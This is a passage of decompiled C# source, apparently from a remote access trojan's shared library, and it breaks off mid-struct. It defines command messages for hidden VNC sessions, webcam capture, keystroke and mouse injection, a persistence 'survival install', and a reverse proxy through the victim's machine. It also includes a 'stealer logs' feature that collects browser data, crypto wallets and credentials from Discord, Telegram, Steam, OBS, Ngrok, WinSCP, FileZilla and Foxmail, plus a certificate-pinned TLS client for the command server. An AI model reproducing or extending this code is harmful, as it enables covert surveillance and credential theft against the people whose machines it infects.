		public string ProcessPath { get; set; }

		[ProtoMember(2)]
		public string PresetProcess { get; set; }

		[ProtoMember(3)]
		public bool CloneBrowser { get; set; }
	}
	[ProtoContract]
	public class DoOptionHVNC : IMessage
	{
		[ProtoMember(1)]
		public HvncOptions options { get; set; }

		[ProtoMember(2)]
		public string data { get; set; }
	}
	[ProtoContract]
	public class DoOptionHVNCResponse : IMessage
	{
		[ProtoMember(1)]
		public string processIDs { get; set; }
	}
	[ProtoContract]
	public class GetDesktopHVNC : IMessage
	{
		[ProtoMember(1)]
		public bool CreateNew { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public HVNCStatus HvncStatus { get; set; }
	}
	[ProtoContract]
	public class GetDesktopResponseHVNC : IMessage
	{
		[ProtoMember(1)]
		public byte[] Image { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public Resolution Resolution { get; set; }

		[ProtoMember(4)]
		public HVNCStatus HvncStatus { get; set; }

		[ProtoMember(5)]
		public int WindowCount { get; set; }
	}
	[ProtoContract]
	public class SendHvncLog : IMessage
	{
		[ProtoMember(1)]
		public uint LogType { get; set; }

		[ProtoMember(2)]
		public string Log { get; set; }
	}
	[ProtoContract]
	public class SetHVNCStatus : IMessage
	{
		[ProtoMember(1)]
		public HVNCStatus Status { get; set; }
	}
	public interface IMessage
	{
	}
	public interface IMessageProcessor
	{
		bool CanExecute(IMessage message);

		bool CanExecuteFrom(ISender sender);

		void Execute(ISender sender, IMessage message);
	}
	public static class MessageHandler
	{
		private static readonly List<IMessageProcessor> Processors = new List<IMessageProcessor>();

		private static readonly object SyncLock = new object();

		public static void Register(IMessageProcessor proc)
		{
			lock (SyncLock)
			{
				if (!Processors.Contains(proc))
				{
					Processors.Add(proc);
				}
			}
		}

		public static void Unregister(IMessageProcessor proc)
		{
			lock (SyncLock)
			{
				Processors.Remove(proc);
			}
		}

		public static void Process(ISender sender, IMessage msg)
		{
			IEnumerable<IMessageProcessor> enumerable;
			lock (SyncLock)
			{
				enumerable = Processors.Where((IMessageProcessor x) => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList();
			}
			foreach (IMessageProcessor item in enumerable)
			{
				item.Execute(sender, msg);
			}
		}
	}
	public abstract class MessageProcessorBase<T> : IMessageProcessor, IProgress<T>
	{
		public delegate void ReportProgressEventHandler(object sender, T value);

		protected readonly SynchronizationContext SynchronizationContext;

		private readonly SendOrPostCallback _invokeReportProgressHandlers;

		public event ReportProgressEventHandler ProgressChanged;

		protected virtual void OnReport(T value)
		{
			if (this.ProgressChanged != null)
			{
				SynchronizationContext.Post(_invokeReportProgressHandlers, value);
			}
		}

		protected MessageProcessorBase(bool useCurrentContext)
		{
			_invokeReportProgressHandlers = InvokeReportProgressHandlers;
			SynchronizationContext = (useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext);
		}

		private void InvokeReportProgressHandlers(object state)
		{
			this.ProgressChanged?.Invoke(this, (T)state);
		}

		public abstract bool CanExecute(IMessage message);

		public abstract bool CanExecuteFrom(ISender sender);

		public abstract void Execute(ISender sender, IMessage message);

		void IProgress<T>.Report(T value)
		{
			OnReport(value);
		}
	}
	internal static class ProgressStatics
	{
		internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext();
	}
	[ProtoContract]
	public class CheckPlugin : IMessage
	{
		[ProtoMember(1)]
		public string PluginName { get; set; }
	}
	[ProtoContract]
	public class CheckPluginResponse : IMessage
	{
		[ProtoMember(1)]
		public string PluginName { get; set; }

		[ProtoMember(2)]
		public bool Status { get; set; }
	}
	[ProtoContract]
	public class DoPlugin : IMessage
	{
		[ProtoMember(1)]
		public string PluginName { get; set; }

		[ProtoMember(2)]
		public byte[] Data { get; set; }

		[ProtoMember(3)]
		public byte[] MsgpackData { get; set; }
	}
	[ProtoContract]
	public class GetLoadedPlugins : IMessage
	{
	}
	[ProtoContract]
	public class GetLoadedPluginsResponse : IMessage
	{
		[ProtoMember(1)]
		public List<string> PluginNames { get; set; }
	}
	[ProtoContract]
	public class PluginDisconnect : IMessage
	{
	}
	[ProtoContract]
	public class PluginLoadedResponse : IMessage
	{
		[ProtoMember(1)]
		public string PluginName { get; set; }
	}
	[ProtoContract]
	public class PluginStarted : IMessage
	{
		[ProtoMember(1)]
		public string Message { get; set; }
	}
	[ProtoContract]
	public class DoKeyboardEvent : IMessage
	{
		[ProtoMember(1)]
		public byte Key { get; set; }

		[ProtoMember(2)]
		public bool KeyDown { get; set; }
	}
	[ProtoContract]
	public class DoMouseEvent : IMessage
	{
		[ProtoMember(1)]
		public MouseAction Action { get; set; }

		[ProtoMember(2)]
		public bool IsMouseDown { get; set; }

		[ProtoMember(3)]
		public int X { get; set; }

		[ProtoMember(4)]
		public int Y { get; set; }

		[ProtoMember(5)]
		public int MonitorIndex { get; set; }
	}
	[ProtoContract]
	public class GetDesktop : IMessage
	{
		[ProtoMember(1)]
		public RemoteDesktopStatus RDStatus { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public int DisplayIndex { get; set; }

		[ProtoMember(4)]
		public bool ShowCursor { get; set; }
	}
	[ProtoContract]
	public class GetDesktopOldGfxEng : IMessage
	{
		[ProtoMember(1)]
		public bool CreateNew { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public int DisplayIndex { get; set; }

		[ProtoMember(4)]
		public bool ShowCursor { get; set; }
	}
	[ProtoContract]
	public class GetDesktopResponse : IMessage
	{
		[ProtoMember(1)]
		public byte[] Image { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public int Monitor { get; set; }

		[ProtoMember(4)]
		public Resolution Resolution { get; set; }

		[ProtoMember(5)]
		public RemoteDesktopStatus RDStatus { get; set; }
	}
	[ProtoContract]
	public class GetDesktopResponseOldGfxEng : IMessage
	{
		[ProtoMember(1)]
		public byte[] Image { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public int Monitor { get; set; }

		[ProtoMember(4)]
		public Resolution Resolution { get; set; }
	}
	[ProtoContract]
	public class GetMonitors : IMessage
	{
	}
	[ProtoContract]
	public class GetMonitorsResponse : IMessage
	{
		[ProtoMember(1)]
		public int Number { get; set; }
	}
	[ProtoContract]
	public class SetRDStatus : IMessage
	{
		[ProtoMember(1)]
		public RemoteDesktopStatus Status { get; set; }
	}
	[ProtoContract]
	public class SetStatus : IMessage
	{
		[ProtoMember(1)]
		public string Message { get; set; }
	}
	[ProtoContract]
	public class SetStatusFileManager : IMessage
	{
		[ProtoMember(1)]
		public string Message { get; set; }

		[ProtoMember(2)]
		public bool SetLastDirectorySeen { get; set; }
	}
	[ProtoContract]
	public class SetUserStatus : IMessage
	{
		[ProtoMember(1)]
		public UserStatus Message { get; set; }
	}
	[ProtoContract]
	public class GetStealerLogs : IMessage
	{
		[ProtoMember(1)]
		public ChromiumBrowserOptions chromiumBrowserOptions { get; set; }

		[ProtoMember(2)]
		public GeckoBrowserOptions geckoBrowserOptions { get; set; }

		[ProtoMember(3)]
		public AppsOptions appsOptions { get; set; }
	}
	[ProtoContract]
	public class GetStealerLogsResponse : IMessage
	{
		[ProtoMember(1)]
		public ChromiumBrowser[] chromiumData { get; set; }

		[ProtoMember(2)]
		public GeckoBrowser[] geckoData { get; set; }

		[ProtoMember(3)]
		public AppsData appsData { get; set; }
	}
	[ProtoContract]
	public class DoSurvivialInstall : IMessage
	{
		[ProtoMember(1)]
		public byte[] filebytes { get; set; }

		[ProtoMember(2)]
		public string filextension { get; set; }
	}
	[ProtoContract]
	public class NewSurvivalLog : IMessage
	{
		[ProtoMember(1)]
		public string log { get; set; }

		[ProtoMember(2)]
		public string logtype { get; set; }
	}
	public static class TypeRegistry
	{
		private static int _typeIndex;

		public static void AddTypeToSerializer(Type parent, Type type)
		{
			if (type == null || parent == null)
			{
				throw new ArgumentNullException();
			}
			if (!RuntimeTypeModel.Default[parent].GetSubtypes().Any((SubType subType) => subType.DerivedType.Type == type))
			{
				RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type);
			}
		}

		public static void AddTypesToSerializer(Type parent, params Type[] types)
		{
			foreach (Type type in types)
			{
				AddTypeToSerializer(parent, type);
			}
		}

		public static IEnumerable<Type> GetPacketTypes(Type type)
		{
			return from p in AppDomain.CurrentDomain.GetAssemblies().SelectMany((Assembly s) => s.GetTypes())
				where type.IsAssignableFrom(p) && !p.IsInterface
				select p;
		}
	}
	[ProtoContract]
	public class DoWebcamStop : IMessage
	{
	}
	[ProtoContract]
	public class GetWebcamImage : IMessage
	{
		[ProtoMember(1)]
		public int Webcam { get; set; }

		[ProtoMember(2)]
		public int Resolution { get; set; }

		[ProtoMember(3)]
		public int Quality { get; set; }
	}
	[ProtoContract]
	public class GetWebcamImageResponse : IMessage
	{
		[ProtoMember(1)]
		public byte[] Image { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public int Webcam { get; set; }

		[ProtoMember(4)]
		public Resolution Resolution { get; set; }
	}
	[ProtoContract]
	public class GetWebcams : IMessage
	{
	}
	[ProtoContract]
	public class GetWebcamsResponse : IMessage
	{
		[ProtoMember(1)]
		public int Number { get; set; }

		[ProtoMember(2)]
		public List<string> Webcams { get; set; }
	}
}
namespace InvokedCommon.Messages.ReverseProxy
{
	[ProtoContract]
	public class ReverseProxyConnect : IMessage
	{
		[ProtoMember(1)]
		public int ConnectionId { get; set; }

		[ProtoMember(2)]
		public string Target { get; set; }

		[ProtoMember(3)]
		public int Port { get; set; }
	}
	[ProtoContract]
	public class ReverseProxyConnectResponse : IMessage
	{
		[ProtoMember(1)]
		public int ConnectionId { get; set; }

		[ProtoMember(2)]
		public bool IsConnected { get; set; }

		[ProtoMember(3)]
		public byte[] LocalAddress { get; set; }

		[ProtoMember(4)]
		public int LocalPort { get; set; }

		[ProtoMember(5)]
		public string HostName { get; set; }
	}
	[ProtoContract]
	public class ReverseProxyData : IMessage
	{
		[ProtoMember(1)]
		public int ConnectionId { get; set; }

		[ProtoMember(2)]
		public byte[] Data { get; set; }
	}
	[ProtoContract]
	public class ReverseProxyDisconnect : IMessage
	{
		[ProtoMember(1)]
		public int ConnectionId { get; set; }
	}
}
namespace InvokedCommon.MessageHandlers
{
	public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
	{
		protected NotificationMessageProcessor()
			: base(true)
		{
		}
	}
}
namespace InvokedCommon.Models
{
	[ProtoContract]
	public class Drive
	{
		[ProtoMember(1)]
		public string DisplayName { get; set; }

		[ProtoMember(2)]
		public string RootDirectory { get; set; }
	}
	[ProtoContract]
	public class FileChunk
	{
		[ProtoMember(1)]
		public long Offset { get; set; }

		[ProtoMember(2)]
		public byte[] Data { get; set; }
	}
	[ProtoContract]
	public class FileSystemEntry
	{
		[ProtoMember(1)]
		public FileType EntryType { get; set; }

		[ProtoMember(2)]
		public string Name { get; set; }

		[ProtoMember(3)]
		public long Size { get; set; }

		[ProtoMember(4)]
		public DateTime LastAccessTimeUtc { get; set; }

		[ProtoMember(5)]
		public ContentType? ContentType { get; set; }
	}
	[ProtoContract]
	public class Process
	{
		[ProtoMember(1)]
		public string Name { get; set; }

		[ProtoMember(2)]
		public int Id { get; set; }

		[ProtoMember(3)]
		public string MainWindowTitle { get; set; }
	}
	[ProtoContract]
	public class RecoveredAccount
	{
		[ProtoMember(1)]
		public string Username { get; set; }

		[ProtoMember(2)]
		public string Password { get; set; }

		[ProtoMember(3)]
		public string Url { get; set; }

		[ProtoMember(4)]
		public string Application { get; set; }
	}
	[ProtoContract]
	public class RegSeekerMatch
	{
		[ProtoMember(1)]
		public string Key { get; set; }

		[ProtoMember(2)]
		public RegValueData[] Data { get; set; }

		[ProtoMember(3)]
		public bool HasSubKeys { get; set; }

		public override string ToString()
		{
			return $"({Key}:{Data})";
		}
	}
	[ProtoContract]
	public class RegValueData
	{
		[ProtoMember(1)]
		public string Name { get; set; }

		[ProtoMember(2)]
		public RegistryValueKind Kind { get; set; }

		[ProtoMember(3)]
		public byte[] Data { get; set; }
	}
	[ProtoContract]
	public class StartupItem
	{
		[ProtoMember(1)]
		public string Name { get; set; }

		[ProtoMember(2)]
		public string Path { get; set; }

		[ProtoMember(3)]
		public StartupType Type { get; set; }
	}
	[ProtoContract]
	public class TcpConnection
	{
		[ProtoMember(1)]
		public string ProcessName { get; set; }

		[ProtoMember(2)]
		public string LocalAddress { get; set; }

		[ProtoMember(3)]
		public ushort LocalPort { get; set; }

		[ProtoMember(4)]
		public string RemoteAddress { get; set; }

		[ProtoMember(5)]
		public ushort RemotePort { get; set; }

		[ProtoMember(6)]
		public ConnectionState State { get; set; }
	}
}
namespace InvokedCommon.Networking
{
	public class Client : ISender
	{
		public delegate void ClientFailEventHandler(Client s, Exception ex);

		public delegate void ClientStateEventHandler(Client s, bool connected);

		public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);

		public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);

		public enum ReceiveType
		{
			Header,
			Payload
		}

		private SslStream _stream;

		private readonly X509Certificate2 _serverCertificate;

		private List<ReverseProxyClient> _proxyClients = new List<ReverseProxyClient>();

		private int _typeIndex;

		private readonly object _proxyClientsLock = new object();

		private byte[] _readBuffer;

		private byte[] _payloadBuffer;

		private readonly Queue<IMessage> _sendBuffers = new Queue<IMessage>();

		private bool _sendingMessages;

		private readonly object _sendingMessagesLock = new object();

		private readonly Queue<byte[]> _readBuffers = new Queue<byte[]>();

		private bool _readingMessages;

		private readonly object _readingMessagesLock = new object();

		private int _readOffset;

		private int _writeOffset;

		private int _readableDataLen;

		private int _payloadLen;

		private ReceiveType _receiveState;

		private readonly Mutex _singleWriteMutex = new Mutex();

		public int BUFFER_SIZE => 16384;

		public uint KEEP_ALIVE_TIME => 25000u;

		public uint KEEP_ALIVE_INTERVAL => 25000u;

		public int HEADER_SIZE => 4;

		public int MAX_MESSAGE_SIZE => 5242880;

		public ReverseProxyClient[] ProxyClients
		{
			get
			{
				lock (_proxyClientsLock)
				{
					return _proxyClients.ToArray();
				}
			}
		}

		public bool Connected { get; private set; }

		public event ClientFailEventHandler ClientFail;

		public event ClientStateEventHandler ClientState;

		public event ClientReadEventHandler ClientRead;

		public event ClientWriteEventHandler ClientWrite;

		private void OnClientFail(Exception ex)
		{
			this.ClientFail?.Invoke(this, ex);
		}

		private void OnClientState(bool connected)
		{
			if (Connected != connected)
			{
				Connected = connected;
				this.ClientState?.Invoke(this, connected);
			}
		}

		private void OnClientRead(IMessage message, int messageLength)
		{
			this.ClientRead?.Invoke(this, message, messageLength);
		}

		private void OnClientWrite(IMessage message, int messageLength)
		{
			this.ClientWrite?.Invoke(this, message, messageLength);
		}

		protected Client(X509Certificate2 serverCertificate)
		{
			_serverCertificate = serverCertificate;
			_readBuffer = new byte[BUFFER_SIZE];
			TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
		}

		protected void Connect(IPAddress ip, ushort port)
		{
			Socket socket = null;
			try
			{
				Disconnect();
				socket = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
				socket.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
				socket.Connect(ip, port);
				if (socket.Connected)
				{
					_stream = new SslStream(new NetworkStream(socket, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
					_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, checkCertificateRevocation: false);
					_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
					OnClientState(connected: true);
				}
				else
				{
					socket.Dispose();
				}
			}
			catch (Exception ex)
			{
				socket?.Dispose();
				OnClientFail(ex);
			}
		}

		private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
		{
			_ = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key;
			_ = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key;
			return _serverCertificate.Equals(certificate);
		}

		private void AsyncReceive(IAsyncResult result)
		{
			int num;
			try
			{
				num = _stream.EndRead(result);
				if (num <= 0)
				{
					throw new Exception("no bytes transferred");
				}
			}
			catch (NullReferenceException)
			{
				return;
			}
			catch (ObjectDisposedException)
			{
				return;
			}
			catch (Exception)
			{
				Disconnect();
				return;
			}
			byte[] array = new byte[num];
			try
			{
				Array.Copy(_readBuffer, array, array.Length);
			}
			catch (Exception ex4)
			{
				OnClientFail(ex4);
				return;
			}
			lock (_readBuffers)
			{
				_readBuffers.Enqueue(array);
			}
			lock (_readingMessagesLock)
			{
				if (!_readingMessages)
				{
					_readingMessages = true;
					ThreadPool.QueueUserWorkItem(AsyncReceive);
				}
			}
			try
			{
				_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
			}
			catch (ObjectDisposedException)
			{
			}
			catch (Exception ex6)
			{
				OnClientFail(ex6);
			}
		}

		private void AsyncReceive(object state)
		{
			while (true)
			{
				byte[] array;
				lock (_readBuffers)
				{
					if (_readBuffers.Count == 0)
					{
						lock (_readingMessagesLock)
						{
							_readingMessages = false;
							break;
						}
					}
					array = _readBuffers.Dequeue();
				}
				_readableDataLen += array.Length;
				bool flag = true;
				while (flag)
				{
					switch (_receiveState)
					{
					case ReceiveType.Header:
						if (_payloadBuffer == null)
						{
							_payloadBuffer = new byte[HEADER_SIZE];
						}
						if (_readableDataLen + _writeOffset >= HEADER_SIZE)
						{
							int num2 = HEADER_SIZE - _writeOffset;
							try
							{
								Array.Copy(array, _readOffset, _payloadBuffer, _writeOffset, num2);
								_payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);
								if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE)
								{
									throw new Exception("invalid header");
								}
								if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE)
								{
									Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE);
								}
							}
							catch (Exception)
							{
								flag = false;
								Disconnect();
								break;
							}
							_readableDataLen -= num2;
							_writeOffset += num2;
							_readOffset += num2;
							_receiveState = ReceiveType.Payload;
						}
						else
						{
							try
							{
								Array.Copy(array, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
							}
							catch (Exception)
							{
								flag = false;
								Disconnect();
								break;
							}
							_readOffset += _readableDataLen;
							_writeOffset += _readableDataLen;
							flag = false;
						}
						break;
					case ReceiveType.Payload:
					{
						int num = ((_writeOffset - HEADER_SIZE + _readableDataLen >= _payloadLen) ? (_payloadLen - (_writeOffset - HEADER_SIZE)) : _readableDataLen);
						try
						{
							Array.Copy(array, _readOffset, _payloadBuffer, _writeOffset, num);
						}
						catch (Exception)
						{
							flag = false;
							Disconnect();
							break;
						}
						_writeOffset += num;
						_readOffset += num;
						_readableDataLen -= num;
						if (_writeOffset - HEADER_SIZE == _payloadLen)
						{
							try
							{
								using PayloadReader payloadReader = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, leaveInnerStreamOpen: false);
								OnClientRead(payloadReader.ReadMessage(), _payloadBuffer.Length);
							}
							catch (Exception)
							{
								flag = false;
								Disconnect();
								break;
							}
							_receiveState = ReceiveType.Header;
							_payloadLen = 0;
							_writeOffset = 0;
						}
						if (_readableDataLen == 0)
						{
							flag = false;
						}
						break;
					}
					}
				}
				_readOffset = 0;
				_readableDataLen = 0;
			}
		}

		public void Send<T>(T message) where T : IMessage
		{
			if (!Connected || message == null)
			{
				return;
			}
			lock (_sendBuffers)
			{
				_sendBuffers.Enqueue(message);
				lock (_sendingMessagesLock)
				{
					if (!_sendingMessages)
					{
						_sendingMessages = true;
						ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
					}
				}
			}
		}

		public void SendBlocking<T>(T message) where T : IMessage
		{
			if (Connected && message != null)
			{
				SafeSendMessage(message);
			}
		}

		private void SafeSendMessage(IMessage message)
		{
			try
			{
				_singleWriteMutex.WaitOne();
				using PayloadWriter payloadWriter = new PayloadWriter(_stream, leaveInnerStreamOpen: true);
				OnClientWrite(message, payloadWriter.WriteMessage(message));
			}
			catch (Exception)
			{
				Disconnect();
				SendCleanup(clear: true);
			}
			finally
			{
				_singleWriteMutex.ReleaseMutex();
			}
		}

		private void ProcessSendBuffers(object state)
		{
			while (Connected)
			{
				IMessage message;
				lock (_sendBuffers)
				{
					if (_sendBuffers.Count == 0)
					{
						SendCleanup();
						return;
					}
					message = _sendBuffers.Dequeue();
				}
				SafeSendMessage(message);
			}
			SendCleanup(clear: true);
		}

		private void SendCleanup(bool clear = false)
		{
			lock (_sendingMessagesLock)
			{
				_sendingMessages = false;
			}
			if (!clear)
			{
				return;
			}
			lock (_sendBuffers)
			{
				_sendBuffers.Clear();
			}
		}

		public void Disconnect()
		{
			if (_stream != null)
			{
				_stream.Close();
				_readOffset = 0;
				_writeOffset = 0;
				_readableDataLen = 0;
				_payloadLen = 0;
				_payloadBuffer = null;
				_receiveState = ReceiveType.Header;
				if (_proxyClients != null)
				{
					lock (_proxyClientsLock)
					{
						try
						{
							foreach (ReverseProxyClient proxyClient in _proxyClients)
							{
								proxyClient.Disconnect();
							}
						}
						catch (Exception)
						{
						}
					}
				}
			}
			OnClientState(connected: false);
		}

		public void ConnectReverseProxy(ReverseProxyConnect command)
		{
			lock (_proxyClientsLock)
			{
				_proxyClients.Add(new ReverseProxyClient(command, this));
			}
		}

		public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId)
		{
			lock (_proxyClientsLock)
			{
				return _proxyClients.FirstOrDefault((ReverseProxyClient t) => t.ConnectionId == connectionId);
			}
		}

		public void RemoveProxyClient(int connectionId)
		{
			try
			{
				lock (_proxyClientsLock)
				{
					for (int i = 0; i < _proxyClients.Count; i++)
					{
						if (_proxyClients[i].ConnectionId == connectionId)
						{
							_proxyClients.RemoveAt(i);
							break;
						}
					}
				}
			}
			catch
			{
			}
		}
	}
	public interface ISender
	{
		void Send<T>(T message) where T : IMessage;

		void Disconnect();
	}
	public class PayloadReader : MemoryStream
	{
		private readonly Stream _innerStream;

		public bool LeaveInnerStreamOpen { get; }

		public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen)
		{
			_innerStream = new MemoryStream(payload, 0, length, writable: false, publiclyVisible: true);
			LeaveInnerStreamOpen = leaveInnerStreamOpen;
		}

		public PayloadReader(Stream stream, bool leaveInnerStreamOpen)
		{
			_innerStream = stream;
			LeaveInnerStreamOpen = leaveInnerStreamOpen;
		}

		public int ReadInteger()
		{
			return BitConverter.ToInt32(ReadBytes(4), 0);
		}

		public byte[] ReadBytes(int length)
		{
			if (_innerStream.Position + length > _innerStream.Length)
			{
				throw new OverflowException($"Unable to read {length} bytes from stream");
			}
			byte[] array = new byte[length];
			_innerStream.Read(array, 0, array.Length);
			return array;
		}

		public IMessage ReadMessage()
		{
			ReadInteger();
			return Serializer.Deserialize<IMessage>(_innerStream);
		}

		protected override void Dispose(bool disposing)
		{
			try
			{
				if (LeaveInnerStreamOpen)
				{
					_innerStream.Flush();
				}
				else
				{
					_innerStream.Close();
				}
			}
			finally
			{
				base.Dispose(disposing);
			}
		}
	}
	public class PayloadWriter : MemoryStream
	{
		private readonly Stream _innerStream;

		public bool LeaveInnerStreamOpen { get; }

		public PayloadWriter(Stream stream, bool leaveInnerStreamOpen)
		{
			_innerStream = stream;
			LeaveInnerStreamOpen = leaveInnerStreamOpen;
		}

		public void WriteBytes(byte[] value)
		{
			_innerStream.Write(value, 0, value.Length);
		}

		public void WriteInteger(int value)
		{
			WriteBytes(BitConverter.GetBytes(value));
		}

		public int WriteMessage(IMessage message)
		{
			using MemoryStream memoryStream = new MemoryStream();
			Serializer.Serialize<IMessage>((Stream)memoryStream, message);
			byte[] array = memoryStream.ToArray();
			WriteInteger(array.Length);
			WriteBytes(array);
			return 4 + array.Length;
		}

		protected override void Dispose(bool disposing)
		{
			try
			{
				if (LeaveInnerStreamOpen)
				{
					_innerStream.Flush();
				}
				else
				{
					_innerStream.Close();
				}
			}
			finally
			{
				base.Dispose(disposing);
			}
		}
	}
}
namespace InvokedCommon.ReverseProxy
{
	public class ReverseProxyClient
	{
		public const int BUFFER_SIZE = 8192;

		private byte[] _buffer;

		private bool _disconnectIsSend;

		public int ConnectionId { get; private set; }

		public Socket Handle { get; private set; }

		public string Target { get; private set; }

		public int Port { get; private set; }

		public Client Client { get; private set; }

		public ReverseProxyClient(ReverseProxyConnect command, Client client)
		{
			ConnectionId = command.ConnectionId;
			Target = command.Target;
			Port = command.Port;
			Client = client;
			Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
			Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
		}

		private void Handle_Connect(IAsyncResult ar)
		{
			try
			{
				Handle.EndConnect(ar);
			}
			catch
			{
			}
			if (Handle.Connected)
			{
				try
				{
					_buffer = new byte[8192];
					Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
				}
				catch
				{
					Client.Send(new ReverseProxyConnectResponse
					{
						ConnectionId = ConnectionId,
						IsConnected = false,
						LocalAddress = null,
						LocalPort = 0,
						HostName = Target
					});
					Disconnect();
				}
				IPEndPoint iPEndPoint = (IPEndPoint)Handle.LocalEndPoint;
				Client.Send(new ReverseProxyConnectResponse
				{
					ConnectionId = ConnectionId,
					IsConnected = true,
					LocalAddress = iPEndPoint.Address.GetAddressBytes(),
					LocalPort = iPEndPoint.Port,
					HostName = Target
				});
			}
			else
			{
				Client.Send(new ReverseProxyConnectResponse
				{
					ConnectionId = ConnectionId,
					IsConnected = false,
					LocalAddress = null,
					LocalPort = 0,
					HostName = Target
				});
			}
		}

		private void AsyncReceive(IAsyncResult ar)
		{
			try
			{
				int num = Handle.EndReceive(ar);
				if (num <= 0)
				{
					Disconnect();
					return;
				}
				byte[] array = new byte[num];
				Array.Copy(_buffer, array, num);
				Client.Send(new ReverseProxyData
				{
					ConnectionId = ConnectionId,
					Data = array
				});
			}
			catch
			{
				Disconnect();
				return;
			}
			try
			{
				Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
			}
			catch
			{
				Disconnect();
			}
		}

		public void Disconnect()
		{
			if (!_disconnectIsSend)
			{
				_disconnectIsSend = true;
				Client.Send(new ReverseProxyDisconnect
				{
					ConnectionId = ConnectionId
				});
			}
			try
			{
				Handle.Close();
			}
			catch
			{
			}
			Client.RemoveProxyClient(ConnectionId);
		}

		public void SendToTargetServer(byte[] data)
		{
			try
			{
				Handle.Send(data);
			}
			catch
			{
				Disconnect();
			}
		}
	}
}
namespace InvokedCommon.Structs
{
	[Flags]
	[ProtoContract]
	public enum HvncOptions
	{
		None = 0,
		ResetAllWindows = 1,
		KillExplorer = 2,
		PasteClipboard = 4,
		PasteClientClipboard = 8,
		FixOpera = 0x10
	}
	[Flags]
	[ProtoContract]
	public enum AppsOptions
	{
		None = 0,
		Discord = 1,
		Telegram = 2,
		Steam = 4,
		Obs = 8,
		Ngrok = 0x10,
		Winscp = 0x20,
		Filazilla = 0x40,
		Foxmail = 0x80,
		Crypto = 0x100,
		All = 0x1EF
	}
	[ProtoContract]
	public struct CryptoInfo(string _name, string _path, bool _isFile)
	{
		[ProtoMember(1)]
		public string name = _name;

		[ProtoMember(2)]
		public string path = _path;

		[ProtoMember(3)]
		public bool isFile = _isFile;
	}
	[ProtoContract]
	public struct TelegramInfo(string _rootPath, string[] _files)
	{
		[ProtoMember(1)]
		public string rootPath = _rootPath;

		[ProtoMember(2)]
		public string[] files = _files;
	}
	[ProtoContract]
	public struct SteamInfo(string[] _games, string[] _ssnfFiles, string[] _vdfFiles)
	{
		[ProtoMember(1)]
		public string[] games = _games;

		[ProtoMember(2)]
		public string[] ssnfFiles = _ssnfFiles;

		[ProtoMember(3)]
		public string[] vdfFiles = _vdfFiles;

		public override string ToString()
		{
			string text = "";
			string[] array = games;
			foreach (string text2 in array)
			{
				text = text + text2 + Environment.NewLine;
			}
			return text;
		}
	}
	[ProtoContract]
	public struct OBSInfo(string _service, string _streamKey)
	{
		[ProtoMember(1)]
		public string service = _service;

		[ProtoMember(2)]
		public string streamKey = _streamKey;

		public override string ToString()
		{
			return "SERVICE: " + service + Environment.NewLine + "STREAM KEY: " + streamKey;
		}
	}
	[ProtoContract]
	public struct NgrokInfo(string _authToken)
	{
		[ProtoMember(1)]
		public string authToken = _authToken;

		public override string ToString()
		{
			return "AUTHTOKEN: " + authToken;
		}
	}
	[ProtoContract]
	public struct WinScpInfo(string _hostname, int _port, string _username, string _password)
	{
		[ProtoMember(1)]
		public string hostname = _hostname;

		[ProtoMember(2)]
		public int port = _port;

		[ProtoMember(3)]
		public string username = _username;

		[ProtoMember(4)]
		public string password = _password;

		public override string ToString()
		{
			return "HOSTNAME: " + hostname + Environment.NewLine + "PORT: " + port + Environment.NewLine + "USERNAME: " + username + Environment.NewLine + "PASSWORD: " + password;
		}
	}
	[ProtoContract]
	public struct FileZillaInfo(string _host, int _port, string _username, string _password)
	{
		[ProtoMember(1)]
		public string host = _host;

		[ProtoMember(2)]
		public int port = _port;

		[ProtoMember(3)]
		public string username = _username;

		[ProtoMember(4)]
		public string password = _password;

		public override string ToString()
		{
			return ("HOST: " + host + Environment.NewLine + "PORT: " + port + Environment.NewLine + "USERNAME: " + username + Environment.NewLine + "PASSWORD: " + password).ToString();
		}
	}
	[ProtoContract]
	public struct FoxMailInfo(string _account, string _password, bool _pop3)
	{
		[ProtoMember(1)]
		public string account = _account;

		[ProtoMember(2)]
		public string password = _password;

		[ProtoMember(3)]
